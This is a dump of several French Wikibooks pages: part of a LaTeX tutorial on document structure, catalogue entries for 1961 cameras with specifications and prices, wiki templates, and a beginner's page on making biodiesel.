des extraits au cours de ce didacticiel. Le fichier source est disponible [tutorial2/simple.tex ici] et à la fin de cette page. === Préambule === Si vous vous rappelez du cours d'instruction précédent, le préambule est la partie se trouvant au tout début du fichier source Latex avant la commande <tt>\begin{document}</tt>. Elle contient normalement les commandes qui affectent le document entier. % simple.tex – Un exemple d'article simple pour illustrer la structure d'un document. \documentclass{article} \usepackage[french]{babel} \usepackage[T1]{fontenc} \usepackage{times} \begin{document} La première ligne est un commentaire (signalé par le symbole %). La commande de <tt>\documentclass</tt> prend un paramètre, qui est dans ce cas ''article'', parce que c'est le type de document que nous voulons produire. Les autres classes existantes sont ''book'', ''report'', ''thesis'' etc. Il est également possible de créer vos propres classes, comme souvent les éditeurs de journal le font, en fournissant simplement leur propre fichier de classe qui indique à latex comment composer le contenu. Mais nous nous contenterons de la classe standard d'article pour l'instant ! <tt>\usepackage</tt> est une commande importante qui demande à Latex d'utiliser quelques macro-commandes externes. Dans cet exemple, j'ai indiqué <tt>times</tt> qui signifie que Latex emploiera les polices postscript de type 1, qui paraissent plus jolies :). Et enfin, le <tt>\begin{document}</tt> qui ne fait pas strictement partie du préambule, mais que je mettrai quand même ici, étant donné qu'il marque la fin du préambule et déclare comme son nom l'indique que le document commence à partir de cet endroit. === Entrée en matière === Au début de la plupart des documents, se trouvent des informations sur le document lui-même, telles que le titre et la date, et aussi des informations sur les auteurs, comme leur nom, leur adresse, leur adresse courriel etc. Toutes ces informations, Latex les désigne collectivement sous le nom d' ''entrée en matière''. Bien que jamais explicitement indiqué, il n'existe aucune commande <tt>\topmatter</tt>, que vous seriez susceptibles de rencontrer dans une quelconque documentation de Latex. Un exemple: \title{Comment structurer un document \LaTeX{}} \author{Andrew Roberts\\ école d'informatique,\\ Université de Leeds,\\ Leeds,\\ Royaume-Unis,\\ LS2 1HE\\ \texttt{andyr@comp.leeds.ac.uk}} \date{\today} \maketitle La commande <tt>\title</tt> est assez simple à utiliser. Mettez simplement le titre que vous voulez entre les accolades. <tt>\author</tt> semble aussi assez facile d'emploi. Si vous disposez d'un fichier de classe d'un éditeur, ou si vous employez la classe de base d'article d'AMS (<tt>amsart</tt>), alors vous comprendrez mieux le besoin de fournir une information sur l'auteur. En attendant, vous pouvez voir comment la commande de nouvelle ligne (<tt>\\</tt>) est utilisée pour, comme ici, placer son adresse. Mon adresse courriel se trouve à l'extrémité, et la commande <tt>\texttt</tt> formate les adresses de courriel en utilisant une police de taille fixe. La commande de <tt>\date</tt > prend un paramètre pour indiquer la date de création du document. J'ai utilisé une commande intégrée appelée <tt>\today</tt> qui, lorsqu'elle est exécutée par Latex, est remplacée par la date du jour. Mais vous êtes libre de mettre à la place la date que vous voulez. Si les accolades sont laissées vides, alors la date est omise. Sans <tt>\maketitle</tt>, l'entrée en matière n'apparaîtrait pas dans le document. Ainsi elle est nécessaire pour donner vos attributs d'article au document. === Résumé === Parce que beaucoup d'articles de recherche ont un résumé, il existe des commandes prédéfinies pour indiquer à Latex quelle partie du contenu correspond au résumé. Celui-ci devrait apparaitre dans un ordre logique, c'est-à-dire après l'entrée en matière, mais avant les sections principales du corps du document. \begin{abstract} Votre résumé commence ici... ... \end{abstract} === Commandes de sectionnement === Les commandes pour insérer des sections sont assez intuitives. Naturellement, certaines commandes sont appropriées à différentes classes de documents. Par exemple, un livre a des chapitres mais un article n'en a pas. Voici une énumération de certaines des commandes de structure utilisées dans ''simple.tex''. \section{Introduction} Cette section contient... \section{Structure} Cette section contient... \subsection{Entrée en matière} Cette sous-section contient... \subsubsection{Information de l'article} Cette sous-sous-section contient... Comme vous pouvez le voir, les commandes sont assez intuitives. Notez que vous n'avez pas besoin d'indiquer les numéros de section, Latex s'occupera de cela pour vous ! En outre, pour les sections, vous n'avez pas besoin de préciser à quel bloc appartient tel contenu, en utilisant des commandes comme <tt>\begin</tt > ou <tt>\end</tt> par exemple. {| border="1" frame="box" rules="groups" frame="box" rules="groups" <!--<colgroup></colgroup> <colgroup></colgroup>-->! Commande ! Niveau |- | <tt>\part{''partie''}</tt> | -1 |- | <tt>\chapter{''chapitre''}</tt> | 0 |- | <tt>\section{''section''}</tt> | 1 |- | <tt>\subsection{''sous-section''}</tt> | 2 |- | <tt>\subsubsection{''sous-sous-section''}</tt> | 3 |- | <tt>\paragraph{''paragraphe''}</tt> | 4 |- | <tt>\subparagraph{''sous-paragraphe''}</tt> | 5 |} La numérotation des sections est réalisée automatiquement par Latex, ainsi ce n'est pas la peine de rajouter explicitement de numéro ; il suffit juste d'insérer le titre que vous voulez entre les accolades. Si vous ne voulez pas de numérotation de section, ajoutez un astérisque (*) après la commande de section, mais avant la première accolade ouvrante, par exemple : <tt>\section*{Un titre sans numéro}</tt>. === La bibliographie === N'importe quel bon rapport de recherche contient une liste complète de références. Dans cet exemple de document, j'en ai inclus une. Si vous regardez la version ''pdf'', alors après la première rencontre du mot « latex » dans l'introduction, vous devriez remarquer la présence d'une référence numérotée. Et à la fin du document, vous pouvez voir la référence complète. Heureusement, Latex a une approche légèrement plus intelligente du contrôle de vos références que propose une unité de traitement de texte habituelle, comme ''MS Word'' par exemple, où tout doit être entré manuellement (à moins que vous achetiez une extension). Il existe deux manières d'insérer vos références avec Latex: la première est de les stocker dans un fichier externe, puis de les lier par l'intermédiaire d'une commande placée dans votre document courant, la seconde de les incorporer dans le document lui-même. Dans ce cours d'instruction, je couvrirai rapidement la dernière manière. Mais la première sera détaillée dans un futur cours d'instruction, car elle est de loin la plus efficace et la plus flexible. Il y a deux étapes pour installer vos bibliographie et références dans un document. La première chose est d'installer un environnement de bibliographie, qui doit se trouver à l'endroit où vous fournissez à Latex les détails des références. La seconde chose est de citer vos références dans votre document. Le code suivant a été utilisé à l'origine pour créer l'environnement de bibliographie du document, dans ce cours d'instruction. Il est situé juste après la dernière ligne du contenu de document, mais avant la commande de <tt>\end{document}</tt>. \begin{thebibliography}{9} \bibitem{lamport94} Leslie Lamport, \emph{\LaTeX: A Document Preparation System}. Addison Wesley, Massachusetts, 2nd Edition, 1994. \end{thebibliography} Bon, qu'allons nous voir maintenant ? La première chose à remarquer est que dans l'ouverture d'un environnement de bibliographie avec le mot-clé <tt>thebibliography</tt>, Latex considère tout ce qui se trouve entre le début et la fin des balises comme des données pour la bibliographie. Le paramètre facultatif que j'ai fourni après le mot marquant le début, indique à latex la taille avec laquelle l'étiquette de l'entrée sera imprimée dans l'article. Notez cependant, que ce n'est pas un paramètre littéral, mais numérique à savoir le chiffre 9 qui représente une largeur de texte. Par conséquent, j'annonce à Latex que j'aurai besoin uniquement d'étiquettes de référence d'une largeur d'un caractère, ce qui signifie qu'il n'y aura pas plus de neuf références au total. Si vous en voulez plus de dix, alors entrez un nombre de deux chiffres, tel que 99 qui autorise moins de 100 références. Vient ensuite l'entrée de la référence proprement dite. Elle est précédée de la commande <tt>\bibitem{''clé_de_citation''}</tt>. ''clé_de_citation'' devrait être un identificateur unique pour cette référence particulière, et est souvent une sorte de mnémonique se composant d'une suite de lettres, de chiffres et de symboles de ponctuation (mais pas de virgule). J'emploie souvent le nom de famille du premier auteur, suivi des deux derniers chiffres de l'année (par conséquent ''lamport94''). Si cet auteur a produit plus d'une référence pendant une année donnée, alors j'ajoute des lettres juste après, « a », « b », etc. Mais, vous devriez savoir mieux que moi ce qui vous convient le mieux. Tout ce qui suit la clef est la référence elle-même. Vous devez la dactylographier exactement comme vous voulez qu'elle soit présentée. J'y ai mis les différentes parties de la référence, telles que l'auteur, le titre, etc., sur différentes lignes pour la lisibilité. Ces marques de fin de ligne sont ignorées par Latex. J'ai voulu que le titre soit en italiques, ainsi j'ai employé la commande <tt>\emph{}</tt> afin de réaliser ceci. Il est très facile de citer un ouvrage donné. Il suffit de vous positionner à l'endroit où vous voulez que la citation apparaisse, et d'y placer: <tt>\cite{''clé_de_citation''}</tt>, où ''clé_de_citation'' est la clef de l'entrée de la référence de l'ouvrage que vous souhaitez citer. Quand Latex traite le document, la citation sera liée aux entrées dans la bibliographie par des références croisées et remplacée par la citation correspondant à ce nombre. De nouveau, l'avantage ici, est que Latex s'occupe de la numérotation pour vous. Si tout était à faire manuellement, alors ajouter ou enlever une référence serait une vraie corvée, puisque vous devriez numéroter à nouveau toutes les citations à la main. Naturellement, vous préféreriez peut-être utiliser un système de mise en référence différent, tel que Harvard, au lieu du système numérique par défaut. Ceci sera traité dans ces pages plus tard, à moyen terme. Pourquoi n'essairiez-vous pas de découvrir [http://www.act.cmis.csiro.au/gjw/tex/docs/natbib.pdf paquet Natbib]. === Compléments === Vous trouverez des exemples d'utilisation des listes et des tables dans le modèle de document que j'ai produit pour ce cours d'instruction. Les tables peuvent être assez épineuses, et ainsi j'ai l'intention d'écrire un didacticiel à ce sujet à l'avenir. Cependant, prenez s'il vous plaît le temps de consulter le code source pour voir par vous-même, maintenant que vous commencez à comprendre les mécanismes du système de Latex, si vous pouvez également comprendre comment ces compléments sont réalisés. Photographie - 40 - Adox 6262 32340 2006-02-11T00:15:25Z Jean-Jacques MILAN 114 /* Polomatic III (vers 1961) */ {{Photographie}} {{Photo_40}} == Appareils 24 x 36 à objectif fixe == === Adox Polo 1 (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Adox Polo I vers 1961.jpg|240px|center]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> appareil 24 x 36 à objectif fixe peu coûteux dédié aux débutants • <font color=grey>Format de film : </font> 135 • <font color=grey>Objectif : </font> Adoxar 45 mm f/3,5 • <font color=grey>Diaphragme : </font> de 3,5 à ... • <font color=grey>Viseur : </font> clair • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> manuelle • <font color=grey>Obturateur : </font> central de 1/30e au 1/250e s • <font color=grey>Prise de flash : </font> oui • <font color=grey>Déclencheur : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font> • <font color=grey>Compteur de vues : </font> • <font color=grey>Expositions multiples : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> porte une table de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] et un indicateur d'émulsion - vendu 117 NF en 1961 |- |} === Adox Polomat 1 (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' à rédiger <font color=grey>Type d'appareil : </font> • <font color=grey>Format de film / capteur : </font> • <font color=grey>Mpix : </font> • <font color=grey>Types de cartes-mémoire : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Écran : </font> • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Flash intégré : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film / capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font> • <font color=grey>Expositions multiples : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Mode [[Photographie - 23 - Macrophotographie|macro]] : </font> • <font color=grey>Remarques : </font> |- |} === Adox Polomatic III (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' à rédiger <font color=grey>Type d'appareil : </font> • <font color=grey>Format de film / capteur : </font> • <font color=grey>Mpix : </font> • <font color=grey>Types de cartes-mémoire : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Écran : </font> • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Flash intégré : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film / capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font> • <font color=grey>Expositions multiples : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Mode [[Photographie - 23 - Macrophotographie|macro]] : </font> • <font color=grey>Remarques : </font> |- |} Photographie - 40 - Agfa 6263 27752 2005-12-27T18:22:50Z Jean-Jacques MILAN 114 /* Optima III S */ {{Photographie}} Société allemande installée à Munich. En 1961 Agfa dispose à Munich de la plus grande usine d'Europe de construction d'appareils photographiques et cinématographiques, usine qui occupe 6700 ouvriers. == appareils à décrire : == === Silette Vario === 153 NF en 1961 === Silette Pronto === 225 NF en 1961 === Silette Prontor === 278 NF en 1961 === Super Silette LK === 452 NF en 1961 === Super Silette Auto === 697 NF en 1961 == Appareils 24 x 36 à objectif fixe == === Optima I (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Agfa Optima I.jpg|180px|center]] |'''Caractéristiques :''' ''Type d'appareil :'' 24 x 36 automatique à objectif fixe <br> ''Format de film :'' 135 <br> ''Objectif :'' Agfa Color Agnar 45 mm f/2,8 <br> ''Diaphragme :'' de 2,8 à <br> ''Viseur :'' clair <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' manuelle <br> ''Obturateur :'' 7 indices de lumination <br> ''Prise de flash :'' oui <br> ''Déclencheur :'' <br> ''Retardateur :'' <br> ''Avance du film :'' <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' 369 NF en 1961 |- |} === Optima II (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Agfa Optima II.jpg|180px|center]] |'''Caractéristiques :''' ''Type d'appareil :'' 24 x 36 automatique à objectif fixe <br> ''Format de film :'' 135 <br> ''Objectif :'' Agfa Color Apotar 45 mm f/2,8 <br> ''Diaphragme :'' de 2,8 à <br> ''Viseur :'' clair <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' manuelle <br> ''Obturateur :'' 9 indices de lumination <br> ''Prise de flash :'' oui <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' <br> ''Sensibilité film :'' <br> ''Retardateur :'' <br> ''Avance du film :'' <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' 491 NF en 1961 |- |} === Optima III (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Agfa Optima III.jpg|180px|center]] |'''Caractéristiques :''' ''Type d'appareil :'' 24 x 36 automatique à objectif fixe <br> ''Format de film :'' 135 <br> ''Objectif :'' Agfa Color Apotar 45 mm f/2,8 <br> ''Diaphragme :'' de 2,8 à <br> ''Viseur :'' clair <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' manuelle <br> ''Obturateur :'' Compur spécial 11 indices de lumination <br> ''Prise de flash :'' oui <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' <br> ''Sensibilité film :'' <br> ''Retardateur :'' <br> ''Avance du film :'' <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' 615 NF en 1961 |- |} === Optima III S (vers 1961) === * '''Remarques :''' {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Agfa Optima III S.jpg|180px|center]] |'''Caractéristiques :''' ''Type d'appareil :'' 24 x 36 automatique à objectif fixe <br> ''Format de film :'' 135 <br> ''Objectif :'' Agfa Color Apotar 45 mm f/2,8 <br> ''Diaphragme :'' de 2,8 à <br> ''Viseur :'' clair <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' manuelle avec télémètre couplé <br> ''Obturateur :'' Compur spécial 11 indices de lumination <br> ''Prise de flash :'' oui <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' <br> ''Sensibilité film :'' <br> ''Retardateur :'' <br> ''Avance du film :'' <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' 739 NF en 1961 |- |} Modèle:ExoMath 6264 27438 2005-12-23T17:07:11Z HB 15 modèle pour le livre d'exercices de mathématiques <div style="display:block; padding:0.3em; background-color:#cfdfff; border:1px solid #aaa; -moz-border-radius-topright:0.4em; -moz-border-radius-topleft:0.4em; text-align:right; font-size:75%;"><br/> <center style="font-size:250%">Exercices de mathématiques</center>[[Exercices de mathématiques|Sommaire]]</div> Photographie - 40 - Zeiss Ikon 6266 27461 2005-12-23T20:38:40Z Jean-Jacques MILAN 114 {{Photographie}} == Appareils 24 x 36 à objectif fixe == === Colora === vendu 230,70 NF en 1961 === Continette === [[Image:Appareil Zeiss Ikon Continette vers 1961.jpg|thumb|180px|Zeiss Ikon Continette]] vendu 261,30 NF en 1961 === Symbolica === [[Image:Appareil Zeiss Ikon Symbolica vers 1961.jpg|thumb|180px|Zeiss Ikon Symbolica]] vendu 627 NF en 1961 === Tenax Automatic === [[Image:Appareil Zeiss Ikon Tenax Automatic vers 1961.jpg|thumb|180px|Zeiss Ikon Tenax Automatic]] vendu 744,50 NF en 1961 === Contessa Matic === vendu 710,90 NF en 1961 === Contessa Matic E === [[Image:Appareil Zeiss Ikon Contessa Matic E vers 1961.jpg|thumb|180px|Zeiss Ikon Contessa Matic E]] vendu 839,60 NF en 1961 == Appareils 24 x 36 réflex == === Contaflex Prima === vendu 1191 NF en 1961 === Contaflex Super === [[Image:Appareil Zeiss Ikon Contaflex Super vers 1961.jpg|thumb|180px|Zeiss Ikon Contaflex Super]] vendu 1455 NF en 1961 === Contarex (vers 1961) === [[Image:Appareil reflex Zeiss Ikon Contarex vers 1961 vu de face.jpg|thumb|180px|Zeiss Ikon Contarex vers 1961 - meilleure image souhaitée]] * '''Type d'appareil :''' réflex 24 x 36 à objectifs interchangeables * '''Objectifs :''' 6 objectifs dédiés de focales 21, 28, 35, 85, 135 et 250 mm, en plus de l'objectif standars Planar 50 mm f/2, à 6 lentilles, dont la mise au point descend à 20 cm * '''Monture des objectifs :''' spécifique * '''Présélection du diaphragme :''' * '''Format de film :''' 135 * '''Viseur :''' réflex * '''Informations dans le viseur :''' indications du posemètre * '''Mise au point :''' manuelle sur dépoli * '''Obturateur :''' à rideaux de 1 s à 1/1000e s couplé à la cellule * '''Prise de flash :''' * '''Déclencheur :''' * '''Retardateur :''' oui * '''Avance du film :''' par levier couplé à l'obturateur * '''Compteur de vues :''' * '''Expositions multiples :''' * '''Touche de profondeur de champ :''' * '''Dimensions :''' * '''Poids :''' * '''Accessoires :''' dos magasin Zeiss * '''Remarques :''' vendu 2990,5 NF en 1961 avec Planar 2/50 <gallery> Image:Appareil 24x36 reflex Zeiss Ikon Contarex vers 1961.jpg </gallery> Photographie - 40 - Voigtländer 6267 27457 2005-12-23T19:46:37Z Jean-Jacques MILAN 114 {{Photographie}} == Appareils à classer == === Vito === vendu 246 NF en 1961 === Vito CD === vendu 343 NF en 1961 === Vito CL === vendu 416 NF en 1961 === Vito CLR === vendu 501 NF en 1961 === Vitomatic 1 A === vendu 609 NF en 1961 === Vitomatic II A === vendu 700 NF en 1961 === Dynamatic === vendu 659 NF en 1961 === Dynamatic II === vendu 774 NF en 1961 === Bessamatic === vendu 1202 NF en 1961 avec Skopar 2,8, 1564 NF avec Septon 2, 2556 NF avec Zoomar 2,8/36-82 mm == Objectifs == === Skopar f/2,8 Bessamatic === === Septon f/2 Bessamatic === === Zoomar 2,8/36-82 mm === vendu 1615 NF en 1961 Modèle:Boîte déroulante 6270 37812 2006-03-15T19:54:15Z Merrheim 1032 <div style="clear:both" class="NavFrame"> <div class="NavHead" align="{{{alignT|center}}}">{{{titre}}}</div> <div class="NavContent" align="{{{align|left}}}"> {{{contenu}}} </div> <div class="NavEnd">&nbsp;</div> </div> <noinclude> [[ca:Template:Caixa ocultable]] </noinclude> Photographie - 40 - Balda 6272 27782 2005-12-27T21:45:57Z Jean-Jacques MILAN 114 /* Baldinette II (vers 1961) */ {{Photographie}} == Appareils 24 x 36 non réflex == === Super Baldamatic (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Balda Super Baldamatic.jpg|180px|center]] meilleure photo souhaitée |'''Caractéristiques :''' ''Type d'appareil :'' 24 x 36 automatique avec priorité à la vitesse ; celle-ci étant choisie, le déclenchement de l'obturateur règle le diaphragme <br> ''Format de film :'' 135 <br> ''Objectif :'' Color Baldanar 45 mm f/2,8 <br> ''Diaphragme :'' continu de 2,8 à 22 <br> ''Viseur :'' collimaté à correction automatique de parallaxe <br> ''Informations dans le viseur :'' ouverture du diaphragme <br> ''Mise au point :'' manuelle <br> ''Obturateur :'' Compur Automat de 1/30e s à 1/500e s, pose B, flash synchronisé <br> ''Prise de flash :'' oui <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' automatique par cellule <br> ''Sensibilité film :'' de 12 à 33 DIN <br> ''Retardateur :'' <br> ''Avance du film :'' rapide par clé, couplée à l'armement <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' 488 NF en 1961 avec Color Baldanar 45 mm f/2,8 |- |} === Super Baldamatic I (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:|180px|center]] photo souhaitée |'''Caractéristiques :''' ''Type d'appareil :'' 24 x 36 automatique avec priorité à la vitesse ; celle-ci étant choisie, le déclenchement de l'obturateur règle le diaphragme <br> ''Format de film :'' 135 <br> ''Objectif :'' Color Baldanar 45 mm f/2,8 <br> ''Diaphragme :'' continu de 2,8 à 22 <br> ''Viseur :'' collimaté à correction automatique de parallaxe <br> ''Informations dans le viseur :'' ouverture du diaphragme <br> ''Mise au point :'' manuelle avec télémètre couplé <br> ''Obturateur :'' Compur Automat de 1/30e s à 1/500e s, pose B, flash synchronisé <br> ''Prise de flash :'' oui <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' automatique par cellule <br> ''Sensibilité film :'' de 12 à 33 DIN <br> ''Retardateur :'' <br> ''Avance du film :'' rapide par clé, couplée à l'armement <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' 606 NF en 1961 avec Color Baldanar 45 mm f/2,8 |- |} === Baldamatic II (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Balda Baldamatic II.jpg|180px|center]]<br> meilleure photo souhaitée |'''Caractéristiques :''' ''Type d'appareil :'' 24 x 36 semi-automatique <br> ''Format de film :'' 135 <br> ''Objectifs :'' Xénar 45 mm f/2,8 sur Prontor SLK ou Color Baldanar 45 mm f/2,8 sur Prontor LK <br> ''Diaphragme :'' continu de 2,8 à 22 <br> ''Viseur :'' collimaté à correction automatique de parallaxe <br> ''Informations dans le viseur :'' la vitesse étant choisie, on suit l'aiguille dans le viseur <br> ''Mise au point :'' manuelle avec télémètre <br> ''Obturateur :'' Prontor SLK ou Prontor LK suivant l'objectif <br> ''Prise de flash :'' oui <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' posemètre couplé <br> ''Sensibilité film :'' de 12 à 33 DIN <br> ''Retardateur :'' <br> ''Avance du film :'' rapide par clé, couplée à l'armement <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' 612 NF en 1961 avec Xénar ou 514 NF en 1961 avec Color Baldanar |- |} === Baldamatic III (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[|180px|center]] <br> photo souhaitée |'''Caractéristiques :''' ''Type d'appareil :'' 24 x 36 semi-automatique <br> ''Format de film :'' 135 <br> ''Objectifs :'' interchangeables, Xénar 50 mm f/2,8, Xénon 50 mm f/1,9, Curtagon 35 mm f/2,8, Télé-Xénar 135 mm f/4 <br> ''Monture des objectifs :'' spécifique <br> ''Diaphragme :'' continu de 2,8 à 22 <br> ''Viseur :'' collimaté à correction automatique de parallaxe <br> ''Informations dans le viseur :'' la vitesse étant choisie, on suit l'aiguille dans le viseur <br> ''Mise au point :'' manuelle avec télémètre <br> ''Obturateur :'' Prontor SLK ou Prontor LK suivant l'objectif <br> ''Prise de flash :'' oui <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' posemètre couplé <br> ''Sensibilité :'' de 12 à 33 DIN <br> ''Retardateur :'' <br> ''Avance du film :'' rapide par clé, couplée à l'armement <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' (boîtier seul) <br> ''Accessoires :'' <br> ''Remarques :'' 805 NF en 1961 avec Xénar, 991 NF en 1961 avec Xénon, (Curtagon seul 371 NF en 1961, Télé-Xénar seul 433 NF en 1961) |- |} === Baldinette II (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Balda Baldinette II.jpg|180px|center]]<br> meilleure photo souhaitée |'''Caractéristiques :''' ''Type d'appareil :'' boîtier 24 x 36 de vulgarisation <br> ''Format de film :'' 135 <br> ''Objectif :'' Color Isconar 45 mm f/2,8 <br> ''Diaphragme :'' de 2,8 à <br> ''Viseur :'' clair <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' manuelle <br> ''Obturateur :'' Vario <br> ''Prise de flash :'' <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' <br> ''Sensibilité film :'' <br> ''Retardateur :'' <br> ''Avance du film :'' avancement rapide <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' 142 NF en 1961 |- |} == Appareils 6 x 6 non réflex == === Super Baldax 6x6 === à télémètre couplé 372 NF en 1961 avec Baltar 2,9/80 et Prontor SVS, 496 NF en 1961 avec Ennit 2,8/80 et Synchro-Compur Photographie - 40 - Som-Berthiot 6273 27494 2005-12-24T14:25:47Z Jean-Jacques MILAN 114 {{Photographie}} == Objectifs pour appareils photo == == Objectifs pour caméra d'amateur == === Servo-Cinor (vers 1961) === [[Image:Som-Berthiot Servo-Cinor.jpg|thumb|90px|Som-Berthiot Servo-Cinor]] Objectif pour caméra à 5 lentilles, à mise au point fixe, donnant au soleil des images nettes de 1 m à l'infini. Il est doté d'une cellule incorporée qui règle en continu le diaphragme. Biocarburant : fabrication du biodiesel 6278 45178 2006-06-18T21:00:20Z 216.137.106.149 {{modèle:carburant}} Pour fabriquer du biodiesel il faut deux ingrédients deux bases : l'huile (évidemment) et un alcool (au sens chimique). Lorsque l'on mélange ces deux produits un réaction chimique se produit : elle s'appelle estérification ou plus précisément transestérifcation. On obtient ainsi deux nouveaux éléments : l'huile d'estérification qui n'est rien d'autre que le biodiesel, et du glycérol ou glycérine. Les proportions (approximatives) sont : 10 litres d'huiles + 1 litre d'alcool --> 10 litres de biodiesel et 1 litre de glycérine. Cette réaction chimique possède deux désavantages : elle est lente et elle est équilibrée. Le mot équilibrée signifie que la réaction se déroule dans les deux sens : lorsque l'huile et l'alcool se sont transformés en biodiesel et glycérine, le biodiesel et la glycérine peut à nouveau se transformer en alcool et huile ! Pour corriger les porblèmes de lenteur et le caractère équilibré, il faut * utiliser un catalyseur (c'est un produit que l'on met au début de la réaction pour favoriser la transformation désirée, mais que l'on récupère «intacte» à la fin de la réaction) ; *chauffer (environ à 50-60°C) ; *on peut éventuellement mettre un légère pression 1,2 ou 1,5 bars. Une fabrication artisanale en chauffant les réactifs (réactifs = ingrédients) et utilisant un catalyseur peut prendre 6 à 12 heures. ==Le choix de l'huile== La première chose à faire, avant même de lancer la réaction de transestérification est de choisir une huile. Plusieurs critères peuvent entrer en compte lorsque l'on doit se décider entre tel ou tel huile. Nous pensons d'abord à la quantité d'huile obtenue par hectare de plantations : nous préférerons naturellement une culture pour laquelle nous pouvons obtenir un maximum d'huile par hectare. Ce choix dépend évidemment du climat et un hectare d'une même plante permet d'obtenir des quantités d'huile différentes selon le climat, le type de sol, la météo de l'année, etc. Un autre critère important : la valorisation des co-produits (co-produit = deuxième produit obtenu lorsque l'on veut fabriquer un produit). Par exemple, la plante du soja, en plus de produire de l'huile peut aussi servir à l'alimentation humaine et animale. Finalement, il ne faut pas négligé les huiles déjà usées (exemple : restaurants) ou les huiles que l'on jettait d'habitude (huile non comestible dans les abbatoires). Aux États-Unis, les producteurs choisissent généralement le soja et le canola (variante de colza). En Europe, on préfère surtout le colza et le tournesol. {{EnTravaux}} Carburant:sources 6282 27543 2005-12-24T19:39:48Z Youssefsan 188 [[Carburant:sources]] déplacé vers [[Carburant : sources]]: typo #REDIRECT 